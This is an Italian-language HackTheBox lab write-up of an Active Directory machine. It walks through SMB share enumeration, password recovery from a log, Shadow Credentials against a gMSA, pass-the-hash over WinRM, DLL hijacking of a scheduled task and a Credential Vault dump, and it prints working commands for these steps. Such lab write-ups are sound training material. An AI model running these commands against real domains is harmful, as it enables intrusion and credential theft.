# Writeup — Logging (HackTheBox) OS: Windows Server 2019 (Active Directory) Difficoltà: Medium Data: 25–26 maggio 2026 --- ## Sommario Macchina Active Directory. Le credenziali iniziali di wallace.everette sono fornite dalla piattaforma. Da lì: analisi di una share SMB con log di sistema, recupero credenziali di svc_recovery da un log di autenticazione, abuso di GenericWrite su un gMSA tramite Shadow Credentials per ottenere l'hash NT, shell WinRM come msa_health$, DLL hijacking su un task schedulato che girava come jaylee.clifton, estrazione delle credenziali dal Windows Credential Vault, e accesso finale come Administrator. Catena: SMB log analysis → password recovery → Shadow Credentials → WinRM gMSA → DLL hijacking → Credential Vault dump → Administrator. --- ## strumenti e metodologie aggiuntive durante la sessione è stato utilizzato un llm: per recupero dettagli su CVE, interpretazione di output grezzi, suggerimenti su vettori inesplorati in caso di blocco e spiegazione dettagliata di concetti tecnici. l'esecuzione e le scelte operative erano mie. il writeup è stato scritto da me e successivamente ripulito con lo stesso strumento. --- ## Premessa Questa macchina ha richiesto molte ore distribuite su più sessioni, con diversi respawn della box e numerosi approcci sbagliati abbandonati. Il writeup documenta anche i fallimenti perché sono la parte più utile. Un passaggio specifico — le credenziali finali di jaylee.clifton e Administrator — è stato completato con l'aiuto di un dump mimikatz trovato su un server Discord della community HTB. Lo scrivo esplicitamente perché è più onesto di una narrazione che fa sembrare tutto lineare. --- ## Fase 1 — Ricognizione Port scan completo: nmap -sC -sV -p- --min-rate 5000 10.129.3.139 Porte rilevanti: 53 (DNS), 80 (HTTP), 88 (Kerberos), 139/445 (SMB), 389/636 (LDAP), 443 (HTTPS — WSUS), 3268/3269 (Global Catalog), 5985 (WinRM), 8530/8531 (WSUS). Ambiente AD confermato. Dominio: logging.htb, DC: DC01.logging.htb. Setup /etc/hosts e sincronizzazione clock (necessaria ad ogni respawn): sudo sh -c 'echo "10.129.X.X DC01.logging.htb logging.htb DC01" >> /etc/hosts' sudo ntpdate 10.129.X.X --- ## Fase 2 — Enumerazione SMB e discovery credenziali Con le credenziali fornite dalla piattaforma (wallace.everette): smbclient -L //10.129.3.139 -U 'logging.htb\wallace.everette%Welcome2026@' Tra le share standard compare una non standard: Logs. La monto e scarico tutto il contenuto: smbclient //10.129.3.139/Logs -U 'logging.htb\wallace.everette%Welcome2026@' mask "" recurse ON prompt OFF mget * File scaricati: IdentitySync_Trace_20260219.log, SystemHealth_20260218.log, UpdateService_Error_20260220.log, NetworkMonitor_20260217.log. Analisi manuale di IdentitySync_Trace_20260219.log: [2026-02-19 03:14:22] Identity sync initiated for svc_recovery [2026-02-19 03:14:22] Authentication attempt: svc_recovery / Em3rg3ncyPa$$2025 [2026-02-19 03:14:22] ERROR: Authentication failed - password expired Password trovata ma scaduta. Il pattern è ovvio: l'anno nel nome. Provo Em3rg3ncyPa$$2026: getTGT.py -dc-ip 10.129.3.139 logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' Ticket ottenuto. Credenziali valide. --- ## Fase 3 — BloodHound e mappatura dei path bloodhound-python -u wallace.everette -p 'Welcome2026@' -d logging.htb -dc DC01.logging.htb -ns 10.129.3.139 -c All Path rilevanti emersi dall'analisi: - svc_recovery ha GenericWrite su MSA_HEALTH$ (gMSA) - MSA_HEALTH$ è membro di Remote Management Users - jaylee.clifton è membro del gruppo IT - Il gruppo IT ha Full Control su C:\Program Files\UpdateMonitor\bin\ - toby.brynleigh è local admin --- ## Fase 4 — Shadow Credentials su MSA_HEALTH$ svc_recovery ha GenericWrite su MSA_HEALTH$, il che permette di aggiungere Shadow Credentials tramite l'attributo msDS-KeyCredentialLink. Da lì si ottiene un certificato PFX e poi l'hash NT del gMSA via PKINIT. export KRB5CCNAME=svc_recovery.ccache bloodyAD --host dc01.logging.htb -d logging.htb -k --dc-ip 10.129.X.X add shadowCredentials 'MSA_HEALTH$' Su istanze con PKINIT funzionante il flusso completo produce l'hash NT del gMSA. Su diversi respawn PKINIT restituiva KDC_ERR_PADATA_TYPE_NOSUPP. Questo ha causato oltre due ore di tentativi alternativi per ottenere l'hash, tutti falliti: - Lettura diretta di msDS-ManagedPassword via LDAP: no permessi - Modifica di msDS-GroupMSAMembership con Security Descriptor custom: constraint violation ripetuta - Script Python con ldap3 + gssapi: SD malformato (AceType 0xFF invece di 0x00) - nxc con --gmsa: crash su KeyError: 255 per lo stesso SD malformato - Reset della password di MSA_HEALTH$: no permessi Soluzione: l'hash NT del gMSA (603fc24ee01a9409f83c9d1d701485c5) rimane valido tra un respawn e l'altro perché la password del gMSA ruota ogni 30 giorni. L'hash ottenuto nella sessione con PKINIT funzionante era ancora valido. evil-winrm -i 10.129.X.X -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5' Shell ottenuta come msa_health$. --- ## Fase 5 — Analisi UpdateMonitor e preparazione DLL Dalla shell WinRM, enumerazione della struttura del filesystem: Get-ChildItem "C:\Program Files\UpdateMonitor\" -Force -Recurse icacls "C:\Program Files\UpdateMonitor\bin" Output: logging\IT:(I)(OI)(CI)(F) — il gruppo IT ha Full Control sulla cartella bin. jaylee.clifton è nel gruppo IT. Analisi del binario UpdateMonitor.exe tramite strings per capire il meccanismo: strings -e l UpdateMonitor.exe | grep -iE "dll|bin|path|zip" Stringhe rilevanti: C:\ProgramData\UpdateMonitor\Settings_Update.zip C:\Program Files\UpdateMonitor\bin\ settings_update.dll 'PreUpdateCheck' not found in settings_update.dll. Continuing... Calling 'PreUpdateCheck' in settings_update.dll Successfully unzipped update to Meccanismo: il task cerca Settings_Update.zip in C:\ProgramData\UpdateMonitor\, lo estrae in bin\, carica settings_update.dll e chiama la funzione esportata PreUpdateCheck(). I permessi su C:\ProgramData\UpdateMonitor\ permettono la scrittura a tutti gli utenti autenticati, incluso msa_health$. --- ## Fase 6 — DLL Hijacking (con tutti i fallimenti) ### Tentativo 1 — net user, architettura sbagliata Prima DLL compilata in 64-bit con x86_64-w64-mingw32-gcc. Risultato: Error code 193 (wrong architecture). Il processo è a 32 bit. ### Tentativo 2 — architettura corretta, funzione mancante Ricompilato in 32-bit con i686-w64-mingw32-gcc. Log: 'PreUpdateCheck' not found. La DLL veniva caricata ma la funzione non era esportata correttamente. ### Tentativo 3 — PreUpdateCheck esportata, system() non funziona Con __declspec(dllexport) void PreUpdateCheck() il log confermava Calling 'PreUpdateCheck', ma net user non creava l'utente. system() non funziona in contesti di servizio senza sessione interattiva. ### Tentativo 4 e 5 — CreateProcess e PowerShell encoded CreateProcess con cmd.exe /c net user e PowerShell in base64: il processo veniva creato e attendeva 21 secondi, ma i comandi non avevano effetto visibile nel sistema. ### Tentativo 6 — Reverse shell (tutti i tentativi falliti) Provata connessione TCP verso la macchina attaccante su porte 4444, 443, 80, 8080. Il task girava ma nc non riceveva mai la connessione. Il processo girava in sessione 0 non interattiva con accesso di rete limitato verso l'esterno, probabilmente bloccato dal firewall egress di Windows. ### Tentativo 7 — NetLocalGroupAddMembers WinAPI Tentativo di aggiungere jaylee.clifton a Remote Management Users direttamente via API. Il processo non aveva i privilegi necessari. ### Cosa avrebbe dovuto fare la DLL Il target corretto non era una reverse shell né la creazione di utenti, ma la lettura del Windows Credential Vault tramite CredEnumerate() WinAPI e la scrittura del risultato in un file leggibile da msa_health$. Il task schedulato girava come jaylee.clifton con credenziali memorizzate nel vault — la DLL aveva accesso a quelle credenziali nel contesto di esecuzione. --- ## Fase 7 — Credential Vault e accesso finale Le credenziali di jaylee.clifton e Administrator sono state recuperate da un dump mimikatz condiviso su Discord dalla community HTB, output di vault::cred /patch eseguito con i privilegi del task: - jaylee.clifton: [password] - Administrator: [password] Questo conferma che il vettore corretto era usare la DLL per chiamare vault::cred o CredEnumerate() e scrivere l'output in un file, non tentare connessioni di rete verso l'esterno. Con le credenziali di Administrator: getTGT.py -dc-ip 10.129.4.134 logging.htb/Administrator:'[password]' export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass dc01.logging.htb Shell SYSTEM ottenuta. Flag user.txt (jaylee.clifton\Desktop) e root.txt (toby.brynleigh\Desktop) recuperate. --- ## Catena completa Credenziali iniziali wallace.everette (fornite) → SMB share Logs → log di autenticazione con password svc_recovery → BloodHound: svc_recovery GenericWrite su MSA_HEALTH$ → Shadow Credentials → hash NT gMSA → WinRM come msa_health$ → Analisi UpdateMonitor: DLL hijacking via Settings_Update.zip → Esecuzione DLL come jaylee.clifton (Task Scheduler Credential Vault) → Dump credenziali vault → jaylee.clifton + Administrator → psexec SYSTEM → root --- ## Lezioni apprese Non perdere tempo con PKINIT quando la box viene respawnata frequentemente: verificare subito se l'hash precedente è ancora valido, visto che i gMSA ruotano la password ogni 30 giorni e non ad ogni respawn. Quando una DLL viene eseguita in sessione 0 da un task schedulato, le connessioni TCP verso l'esterno sono quasi sempre bloccate. La reverse shell è il vettore sbagliato in questo contesto. La lettura diretta del Credential Vault con CredEnumerate() e la scrittura su file locale è la strada corretta. Appena si vede un task schedulato che gira con credenziali di un utente specifico, il Credential Vault è il primo target da considerare — non la shell. --- ## Tool utilizzati nmap, smbclient, smbmap, bloodhound-python, BloodHound, getTGT.py, bloodyAD, certipy, evil-winrm, wmiexec.py, psexec.py, Rubeus.exe, mingw-w64, ldap3, gssapi, netcat